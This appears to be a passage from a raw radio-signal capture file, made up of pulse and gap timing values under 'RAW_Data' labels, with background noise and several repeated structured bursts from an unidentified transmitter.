-91 53 -527 65 -234 173 -52 88 -273 89 -94 158 -366 63 -162 79 -160 59 -58 95 -79 53 -278 71 -96 92 -111 55 -171 107 -362 109 -99 119 -465 82 -96 81 -350 121 -246 71 -80 87 -178 55 -142 136 -177 53 -136 97 -331 99 -114 71 -229 71 -461 53 -165 139 -233 51 -223 51 -354 121 -552 53 -54 53 -158 77 -339 106 -406 53 -68 51 -90 51 -70 61 -192 63 -62 122 -248 89 -508 61 -205 61 -259 142 -502 57 -383 51 -96 111 -56 61 -178 79 -125 120 -218 61 -468 77 -54 79 -375 53 -64 94 -284 53 -251 53 -196 207 -132 53 -609 106 -250 53 -287 67 -668 95 -323 65 -207 154 -216 99 -542 53 -90 217 -89 53 -326 243 -174 53 -80 61 -126 114 -215 106 -258 133 -54 53 -718 65 -185 71 -52 69 -322 104 -353 113 -178 65 -60 81 -1394 71 -228 69 -532 53 -64 84 -500 98 -84 51 -74 144 -56 89 -121 105 -514 85 -202 160 -835 53 -102 59 -149 51 -243 53 -688 124 -133 83 -313 67 -425 71 -97 156 -946 98 -587 59 -192 51 -98 63 -247 65 -90 69 -500 -RAW_Data: 53 -118 106 -457 63 -80 211 -214 65 -262 91 -129 85 -142 51 -237 63 -86 69 -311 61 -297 103 -90 59 -170 65 -108 53 -125 53 -231 109 -349 77 -78 61 -259 73 -347 61 -92 77 -304 69 -164 95 -487 73 -119 51 -487 132 -582 53 -322 198 -126 103 -52 65 -327 85 -56 83 -434 69 -58 129 -565 89 -52 59 -60 69 -681 67 -131 67 -787 81 -135 102 -464 59 -220 168 -772 174 -317 53 -195 59 -68 51 -52 59 -237 93 -238 77 -126 71 -98 53 -249 65 -328 53 -90 192 -125 122 -267 81 -176 68 -76 59 -94 61 -98 67 -308 106 -64 78 -371 62 -949 101 -92 114 -273 195 -763 86 -146 75 -352 97 -290 51 -200 53 -212 61 -170 88 -289 59 -54 85 -124 89 -484 135 -217 59 -335 83 -886 89 -179 126 -162 97 -481 57 -615 114 -58 55 -130 61 -123 81 -116 151 -54 94 -262 61 -408 68 -489 139 -340 65 -397 121 -114 79 -82 113 -247 93 -68 124 -175 124 -251 160 -148 53 -292 134 -156 67 -335 57 -154 57 -86 67 -174 98 -622 67 -56 53 -104 199 -222 59 -96 122 -132 118 -108 259 -469 59 -113 73 -796 170 -128 61 -236 61 -56 93 -318 81 -278 150 -62 117 -76 65 -168 67 -105 59 -294 69 -326 104 -52 99 -361 67 -76 69 -320 51 -221 168 -654 121 -58 51 -330 61 -371 73 -148 53 -266 59 -170 123 -524 69 -314 150 -54 73 -74 95 -320 63 -175 138 -108 59 -132 121 -438 96 -876 71 -149 51 -74 53 -116 61 -135 61 -106 75 -454 99 -177 130 -298 55 -62 63 -1057 65 -427 85 -164 59 -188 59 -68 61 -218 152 -189 174 -347 98 -88 55 -149 81 -294 106 -203 63 -140 51 -193 107 -392 53 -108 53 -126 113 -263 137 -130 122 -222 94 -98 95 -239 69 -472 230 -227 59 -81 67 -62 73 -120 69 -289 81 -834 55 -224 63 -334 69 -128 61 -52 154 -269 95 -126 324 -104 292 -305 63 -132 69 -366 180 -235 119 -90 87 -144 53 -54 93 -255 165 -465 65 -313 86 -173 175 -235 145 -539 71 -261 51 -252 93 -274 148 -484 53 -208 96 -208 192 -88 53 -159 88 -900 65 -180 128 -80 53 -331 72 -736 698 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 217 -114 85 -205 156 -570 51 -467 114 -513 105 -110 93 -163 53 -52 158 -220 114 -952 103 -408 87 -70 61 -105 75 -54 134 -159 67 -507 125 -78 89 -324 141 -52 79 -112 116 -86 147 -486 115 -52 89 -310 67 -618 63 -211 61 -70 57 -187 86 -160 53 -371 207 -195 160 -294 79 -78 75 -177 59 -143 73 -187 142 -108 107 -278 67 -128 53 -263 111 -225 166 -58 51 -186 61 -228 109 -70 91 -94 73 -1081 77 -82 61 -90 81 -70 79 -277 151 -262 125 -106 53 -380 53 -100 75 -752 73 -174 128 -601 126 -324 102 -582 61 -397 105 -537 53 -369 81 -300 116 -471 61 -54 142 -350 150 -118 88 -519 53 -54 53 -60 65 -90 81 -258 322 -138 59 -367 91 -370 55 -98 89 -211 184 -253 94 -193 65 -215 122 -159 61 -1041 53 -593 53 -64 53 -54 51 -100 83 -146 71 -126 53 -363 78 -557 53 -154 61 -429 51 -118 53 -110 55 -86 55 -338 59 -94 86 -315 69 -124 99 -173 51 -290 59 -233 67 -248 -RAW_Data: 101 -278 104 -72 115 -72 93 -669 107 -167 73 -234 69 -80 63 -498 55 -54 53 -126 96 -625 63 -72 65 -135 59 -597 51 -62 75 -733 63 -62 77 -76 53 -116 61 -79 53 -184 59 -482 97 -165 1164 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -126 65 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -62 63 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 69 -128 127 -128 127 -126 55 -64 131 -64 63 -64 61 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -62 129 -128 127 -56 69 -126 127 -128 127 -56 69 -62 63 -62 63 -128 127 -128 127 -56 69 -126 63 -64 127 -64 61 -128 127 -128 63 -62 125 -128 63 -64 125 -128 127 -56 69 -126 65 -62 125 -130 127 -56 69 -126 127 -128 127 -56 69 -126 63 -64 125 -64 265 -211 53 -52 59 -54 61 -269 79 -604 67 -432 53 -835 57 -251 59 -299 115 -169 51 -223 51 -225 65 -68 55 -78 67 -158 53 -264 101 -92 57 -142 126 -76 89 -80 59 -374 59 -371 51 -538 51 -295 53 -152 99 -90 59 -308 57 -236 96 -282 61 -80 114 -116 61 -135 106 -118 57 -243 73 -130 107 -201 73 -247 196 -72 69 -862 67 -678 51 -416 141 -198 61 -54 106 -466 95 -118 117 -116 85 -827 96 -117 117 -114 53 -114 75 -130 92 -66 93 -201 125 -192 98 -733 135 -128 95 -459 51 -64 141 -285 92 -207 114 -52 53 -278 51 -421 81 -242 85 -246 71 -72 89 -80 53 -511 151 -229 93 -323 69 -135 85 -230 82 -273 59 -90 53 -721 120 -476 53 -161 81 -524 55 -80 59 -100 55 -242 53 -90 67 -135 79 -64 119 -145 63 -80 53 -204 105 -206 53 -198 53 -658 -RAW_Data: 61 -452 123 -143 97 -105 59 -789 114 -83 61 -969 51 -207 95 -272 113 -394 71 -253 85 -1475 104 -290 65 -100 93 -253 75 -220 83 -134 102 -1319 59 -404 75 -64 69 -54 143 -740 98 -190 53 -442 53 -156 107 -624 61 -170 59 -62 53 -62 115 -86 79 -96 61 -52 53 -606 65 -204 109 -125 277 -99 95 -60 65 -217 51 -64 97 -152 79 -458 89 -231 62 -66 75 -405 184 -176 132 -350 92 -128 142 -305 258 -300 79 -90 153 -162 290 -89 89 -540 111 -190 53 -82 384 -82 71 -172 104 -54 111 -84 102 -182 251 -128 75 -156 75 -96 93 -108 161 -174 81 -228 59 -268 53 -98 85 -64 51 -168 53 -170 114 -134 225 -134 89 -64 53 -66 89 -133 125 -90 75 -66 121 -514 244 -100 178 -116 139 -287 129 -249 120 -94 141 -79 90 -64 71 -350 83 -406 73 -182 303 -151 133 -658 127 -98 117 -583 99 -194 53 -212 63 -321 51 -222 71 -210 96 -257 203 -217 91 -325 63 -230 75 -486 59 -391 81 -773 61 -623 51 -455 51 -108 53 -62 63 -151 146 -322 112 -171 61 -251 61 -263 79 -255 51 -603 53 -52 79 -276 57 -244 53 -66 51 -266 53 -120 181 -985 88 -717 59 -503 69 -144 53 -64 53 -837 51 -68 69 -138 85 -116 92 -84 137 -82 79 -775 194 -212 85 -80 63 -84 113 -106 61 -52 132 -247 59 -198 53 -234 87 -280 79 -260 59 -568 71 -85 51 -90 67 -175 112 -125 120 -120 105 -64 85 -215 53 -457 65 -539 51 -178 57 -290 97 -154 106 -420 61 -86 63 -120 85 -100 109 -56 63 -556 55 -306 107 -62 53 -166 186 -82 143 -355 59 -434 117 -138 59 -90 71 -72 53 -198 152 -90 51 -76 172 -212 91 -577 95 -102 51 -94 63 -186 125 -377 174 -214 65 -363 79 -334 116 -260 53 -78 51 -346 63 -281 87 -151 65 -165 51 -84 81 -986 53 -107 61 -80 89 -483 67 -148 53 -126 71 -283 57 -180 191 -428 81 -254 102 -828 77 -181 59 -178 83 -62 88 -210 53 -130 91 -64 120 -80 79 -305 117 -206 69 -480 119 -488 93 -83 141 -78 192 -78 51 -120 127 -52 65 -86 89 -100 67 -134 104 -251 53 -126 416 -80 167 -404 89 -169 71 -60 206 -72 69 -80 97 -72 61 -100 77 -80 53 -182 149 -80 105 -285 59 -193 131 -74 127 -107 85 -292 210 -160 200 -94 53 -242 70 -54 59 -120 338 -54 107 -80 197 -56 65 -156 214 -82 426 -60 51 -68 81 -151 110 -60 162 -171 53 -68 109 -129 116 -228 -RAW_Data: 245 -243 151 -52 105 -146 65 -66 178 -104 51 -60 291 -62 223 -58 110 -118 255 -395 85 -54 97 -110 59 -76 69 -229 61 -125 90 -110 149 -70 77 -199 81 -211 114 -172 183 -348 99 -260 67 -72 71 -224 77 -166 51 -161 75 -430 71 -114 67 -228 61 -203 53 -62 84 -281 75 -89 112 -160 125 -921 106 -154 59 -163 63 -52 93 -204 145 -98 51 -249 51 -94 99 -54 81 -298 61 -262 61 -326 137 -635 161 -313 67 -168 120 -799 53 -546 160 -323 96 -206 173 -52 65 -54 118 -214 96 -54 75 -153 140 -104 59 -312 71 -152 71 -1087 115 -482 105 -414 106 -377 81 -64 107 -182 140 -68 71 -292 55 -54 148 -379 132 -350 67 -357 110 -66 75 -90 198 -166 59 -58 65 -593 65 -148 107 -123 51 -264 61 -90 63 -528 71 -482 53 -212 75 -148 111 -251 81 -122 53 -206 53 -52 51 -427 87 -56 63 -80 116 -602 53 -334 189 -88 65 -256 158 -124 97 -82 61 -112 103 -240 69 -111 81 -164 164 -241 167 -172 107 -176 96 -303 61 -164 79 -64 61 -80 97 -78 105 -161 53 -72 53 -274 71 -157 71 -188 77 -332 81 -708 83 -149 89 -209 254 -88 115 -94 75 -90 170 -182 71 -744 81 -441 202 -74 61 -132 77 -152 83 -276 61 -342 53 -400 73 -495 126 -410 59 -191 67 -96 110 -153 67 -103 83 -204 78 -450 103 -287 61 -295 97 -95 98 -54 57 -110 199 -278 87 -1259 59 -251 61 -318 71 -290 76 -116 53 -121 61 -126 53 -64 116 -403 74 -136 957 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 267 -52 117 -203 209 -54 63 -126 115 -170 51 -120 105 -123 65 -675 65 -140 135 -765 97 -1055 150 -84 51 -54 57 -64 59 -432 69 -469 96 -400 51 -62 57 -181 67 -78 115 -463 99 -642 140 -247 142 -144 61 -114 69 -754 119 -381 51 -62 102 -505 77 -184 51 -52 140 -96 97 -113 112 -215 63 -104 167 -52 147 -192 113 -579 57 -215 63 -252 115 -778 53 -90 71 -196 53 -159 89 -225 137 -104 80 -60 71 -125 105 -56 170 -345 107 -62 71 -54 106 -348 71 -54 94 -233 71 -62 106 -64 71 -543 140 -418 142 -254 228 -206 79 -58 61 -144 113 -386 109 -337 75 -358 59 -99 53 -276 91 -231 98 -170 53 -180 59 -445 75 -265 61 -124 51 -478 71 -104 67 -432 96 -417 69 -485 59 -370 51 -627 51 -156 55 -125 65 -54 161 -523 146 -570 59 -422 106 -677 61 -347 87 -1099 53 -475 59 -98 55 -283 197 -136 103 -138 61 -840 87 -132 99 -170 53 -392 53 -259 61 -132 51 -219 81 -106 73 -447 71 -645 51 -272 51 -277 109 -235 126 -273 53 -308 83 -147 53 -82 67 -506 89 -142 55 -119 59 -288 115 -268 117 -94 70 -533 89 -257 73 -119 75 -56 164 -156 57 -156 51 -194 59 -482 51 -84 67 -292 61 -319 71 -76 105 -390 51 -667 111 -172 73 -74 71 -546 1055 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 -RAW_Data: 63 -64 127 -64 61 -128 127 -64 61 -128 63 -62 63 -64 61 -64 63 -64 61 -64 127 -64 63 -62 63 -64 63 -128 127 -64 61 -128 63 -62 63 -62 127 -130 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 127 -126 127 -56 69 -126 127 -128 127 -128 55 -68 125 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -126 65 -62 63 -64 61 -64 63 -64 127 -128 127 -56 69 -126 127 -128 127 -56 69 -62 63 -62 63 -128 129 -128 127 -54 71 -124 65 -62 127 -64 61 -128 127 -128 63 -62 125 -128 63 -64 125 -128 127 -56 69 -126 65 -62 127 -128 127 -56 69 -62 63 -126 65 -62 127 -64 63 -62 63 -126 129 -64 271 -428 59 -352 122 -490 97 -229 104 -482 59 -136 96 -210 142 -148 89 -84 51 -468 81 -287 59 -240 61 -130 61 -230 51 -227 61 -374 109 -682 53 -108 71 -86 83 -890 195 -167 51 -205 132 -136 119 -52 75 -200 160 -403 89 -696 91 -204 98 -590 51 -336 51 -54 75 -236 78 -541 59 -436 61 -66 51 -314 53 -98 94 -201 95 -72 161 -64 61 -126 81 -78 122 -250 157 -200 88 -1096 147 -196 53 -89 150 -414 82 -144 69 -504 77 -279 67 -112 81 -209 81 -142 75 -127 89 -186 83 -213 79 -82 101 -76 59 -114 95 -766 88 -204 57 -98 65 -382 77 -936 75 -101 133 -54 98 -142 53 -88 71 -60 99 -140 53 -330 65 -150 79 -369 61 -798 61 -516 92 -98 53 -219 61 -262 67 -84 59 -86 138 -412 233 -150 59 -302 55 -525 124 -234 51 -343 138 -293 51 -279 86 -197 142 -249 81 -144 53 -66 89 -64 78 -249 130 -476 63 -102 53 -136 95 -138 87 -1008 111 -348 141 -219 69 -394 75 -362 65 -130 132 -1222 98 -387 147 -424 67 -549 51 -458 121 -290 125 -132 53 -283 105 -92 75 -186 126 -275 93 -246 53 -165 149 -166 63 -162 53 -96 59 -165 146 -52 65 -344 71 -54 61 -363 61 -563 57 -62 78 -222 63 -90 75 -161 81 -468 97 -86 148 -222 76 -268 65 -207 71 -195 139 -216 177 -98 95 -62 65 -164 105 -250 156 -303 63 -209 105 -376 69 -91 197 -268 168 -85 125 -179 53 -275 53 -197 101 -84 -RAW_Data: 53 -52 59 -468 89 -140 51 -376 104 -52 59 -60 63 -80 107 -100 53 -170 231 -92 85 -298 106 -516 77 -431 73 -254 51 -149 94 -513 53 -136 67 -370 67 -1002 51 -409 51 -609 63 -54 82 -52 87 -257 89 -124 59 -152 61 -119 61 -136 75 -346 55 -310 53 -244 131 -229 97 -499 68 -466 85 -201 75 -407 124 -242 53 -131 63 -68 55 -221 96 -297 99 -267 51 -262 67 -119 86 -1119 71 -134 51 -195 53 -444 61 -822 117 -964 96 -214 89 -98 76 -62 63 -547 88 -453 77 -217 105 -52 77 -164 114 -469 96 -168 55 -470 53 -243 158 -173 63 -170 59 -180 140 -216 78 -493 94 -118 61 -418 72 -80 61 -125 51 -205 75 -261 133 -818 61 -461 59 -502 59 -369 59 -478 59 -166 63 -172 66 -481 53 -108 61 -86 75 -224 124 -118 73 -68 81 -386 71 -258 51 -1176 104 -257 135 -477 59 -82 77 -68 89 -680 135 -120 101 -277 61 -434 51 -104 113 -759 80 -1425 63 -889 61 -474 94 -90 149 -196 110 -240 61 -218 75 -230 61 -329 63 -333 53 -64 73 -514 93 -70 200 -896 123 -360 67 -229 105 -62 147 -202 53 -162 91 -667 112 -54 53 -193 83 -90 81 -98 53 -100 94 -149 163 -140 51 -75 186 -208 53 -656 96 -438 213 -162 55 -222 53 -72 69 -146 59 -266 71 -72 53 -151 63 -176 74 -751 100 -395 88 -108 61 -303 102 -136 51 -576 115 -98 110 -433 53 -118 90 -80 125 -68 69 -80 107 -393 53 -305 53 -54 83 -116 89 -187 63 -117 53 -80 53 -613 63 -254 67 -70 53 -447 106 -208 77 -182 81 -231 59 -86 218 -102 75 -80 420 -470 127 -68 51 -82 75 -153 51 -234 59 -104 61 -154 53 -54 51 -68 77 -90 61 -244 71 -310 209 -170 71 -106 117 -278 65 -108 53 -184 243 -84 77 -244 218 -193 55 -142 61 -108 85 -134 53 -60 81 -675 55 -754 177 -140 85 -191 71 -112 67 -163 53 -540 53 -146 116 -395 63 -199 71 -482 59 -292 71 -586 61 -157 115 -351 71 -172 75 -460 67 -337 99 -62 114 -326 79 -202 83 -72 53 -72 61 -522 51 -306 129 -329 53 -52 204 -622 51 -232 51 -456 94 -449 145 -249 80 -442 174 -72 61 -136 61 -639 67 -476 73 -441 61 -166 55 -195 69 -84 79 -835 132 -140 108 -136 69 -142 55 -82 59 -729 59 -411 67 -96 112 -76 53 -74 81 -223 301 -68 107 -445 51 -72 97 -97 141 -732 53 -108 71 -482 59 -150 51 -731 76 -366 87 -201 51 -560 61 -996 -RAW_Data: 79 -341 65 -121 99 -641 270 -136 61 -54 51 -344 63 -115 87 -429 139 -288 61 -72 63 -654 53 -198 134 -539 119 -161 80 -295 124 -182 106 -82 112 -324 105 -246 53 -295 88 -98 78 -74 90 -71 123 -305 53 -244 676 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 382 -90 59 -121 103 -214 61 -323 107 -254 67 -275 174 -192 326 -95 59 -119 256 -58 59 -174 101 -235 63 -52 113 -224 61 -52 247 -60 124 -241 146 -54 151 -124 93 -91 55 -128 53 -224 199 -98 88 -52 71 -52 59 -54 53 -54 98 -90 79 -114 53 -817 134 -815 75 -361 71 -72 73 -52 113 -133 129 -381 85 -308 97 -149 81 -100 65 -60 107 -54 111 -136 85 -164 69 -587 79 -184 91 -242 -RAW_Data: 86 -245 108 -54 104 -178 176 -914 87 -241 167 -489 59 -245 119 -56 155 -126 71 -547 75 -78 53 -76 75 -159 63 -599 51 -219 98 -438 61 -179 142 -227 86 -56 90 -1012 53 -219 59 -62 53 -80 67 -124 85 -339 61 -196 223 -253 87 -102 130 -189 57 -208 81 -516 51 -292 88 -249 89 -747 53 -60 73 -90 167 -663 59 -236 101 -468 67 -81 77 -310 94 -88 110 -160 148 -370 59 -210 53 -353 61 -100 51 -364 59 -290 65 -272 61 -193 53 -54 97 -104 59 -216 93 -153 79 -617 125 -370 59 -201 67 -100 90 -90 109 -132 51 -117 71 -313 110 -106 59 -794 289 -138 51 -503 104 -123 71 -599 59 -212 53 -620 67 -198 53 -161 59 -282 147 -105 63 -144 51 -78 53 -100 96 -143 173 -84 71 -217 106 -295 1128 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -64 61 -126 65 -62 63 -62 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 -128 127 -64 61 -126 129 -128 127 -126 55 -70 125 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 127 -56 69 -62 61 -128 129 -128 127 -126 55 -70 61 -64 61 -64 127 -128 129 -56 69 -62 61 -64 63 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 125 -130 63 -62 61 -64 125 -66 61 -64 61 -128 63 -64 63 -62 63 -64 127 -128 127 -58 69 -62 61 -128 339 -116 51 -116 117 -52 470 -70 137 -140 173 -229 67 -86 113 -84 65 -60 125 -103 88 -227 67 -80 53 -130 63 -144 179 -108 53 -670 81 -76 125 -986 170 -58 73 -112 121 -60 71 -60 81 -76 59 -254 78 -54 73 -231 73 -82 125 -924 79 -155 -RAW_Data: 75 -186 129 -142 149 -234 138 -364 61 -126 53 -72 53 -100 85 -806 67 -454 71 -429 83 -189 80 -117 61 -1245 59 -444 53 -270 94 -160 75 -2210 70 -960 85 -903 75 -323 51 -261 63 -72 132 -263 106 -175 216 -437 107 -1119 96 -342 157 -109 124 -168 81 -80 71 -462 79 -275 115 -360 65 -80 71 -106 99 -242 123 -227 51 -322 63 -348 90 -143 70 -146 84 -362 77 -142 81 -234 204 -255 77 -241 61 -52 97 -575 84 -125 98 -295 321 -153 113 -715 75 -203 65 -76 51 -183 80 -514 59 -106 99 -549 55 -166 51 -431 79 -52 239 -132 81 -114 107 -343 61 -122 213 -331 95 -171 67 -384 133 -247 71 -230 77 -575 71 -479 81 -120 89 -422 114 -252 65 -112 75 -413 61 -248 63 -78 51 -467 65 -80 131 -276 96 -675 51 -181 73 -155 81 -158 67 -187 53 -82 69 -54 61 -150 132 -78 115 -275 97 -222 128 -90 51 -144 156 -134 170 -107 99 -62 97 -124 53 -82 188 -84 208 -100 59 -121 98 -144 161 -151 63 -278 303 -524 228 -185 106 -236 85 -74 268 -530 149 -98 99 -131 118 -212 121 -132 75 -102 257 -248 152 -72 71 -143 89 -220 104 -276 73 -237 114 -116 148 -98 53 -90 53 -297 63 -133 71 -99 251 -630 65 -200 123 -328 146 -82 99 -161 219 -171 71 -139 53 -122 80 -232 79 -185 79 -132 260 -78 101 -96 78 -62 227 -58 81 -100 71 -141 190 -154 101 -320 53 -115 127 -239 89 -321 111 -404 77 -275 174 -252 99 -186 175 -52 51 -288 59 -375 51 -507 69 -156 63 -52 96 -207 132 -807 130 -74 89 -90 63 -139 57 -160 53 -832 51 -110 61 -377 132 -208 61 -64 160 -247 55 -844 150 -97 63 -116 59 -125 108 -100 87 -98 53 -258 129 -122 61 -126 57 -202 97 -66 149 -624 67 -126 70 -116 66 -70 59 -54 53 -360 89 -167 106 -141 53 -160 132 -108 59 -212 53 -364 75 -138 51 -309 67 -339 81 -756 53 -325 102 -124 53 -572 59 -260 81 -105 79 -805 114 -257 61 -64 51 -264 69 -227 252 -389 82 -218 53 -146 157 -280 124 -125 130 -223 61 -58 103 -239 150 -218 69 -86 67 -644 93 -132 107 -98 78 -472 69 -108 65 -540 59 -88 87 -64 79 -477 51 -464 136 -938 119 -98 95 -679 169 -82 103 -108 111 -248 61 -108 91 -359 124 -204 59 -262 113 -125 59 -240 62 -516 98 -54 53 -193 67 -383 63 -245 53 -98 95 -384 96 -68 100 -84 63 -1321 173 -244 120 -258 61 -54 81 -1178 53 -315 -RAW_Data: 61 -254 67 -867 70 -408 170 -152 78 -660 170 -134 77 -338 61 -130 142 -74 63 -673 77 -54 53 -722 91 -211 105 -273 71 -107 53 -339 88 -78 81 -58 61 -322 63 -60 77 -168 88 -165 164 -320 135 -590 173 -92 87 -84 164 -64 255 -448 162 -569 81 -52 186 -120 135 -138 234 -52 69 -54 57 -76 73 -66 264 -259 61 -196 61 -76 55 -100 135 -114 182 -138 77 -98 237 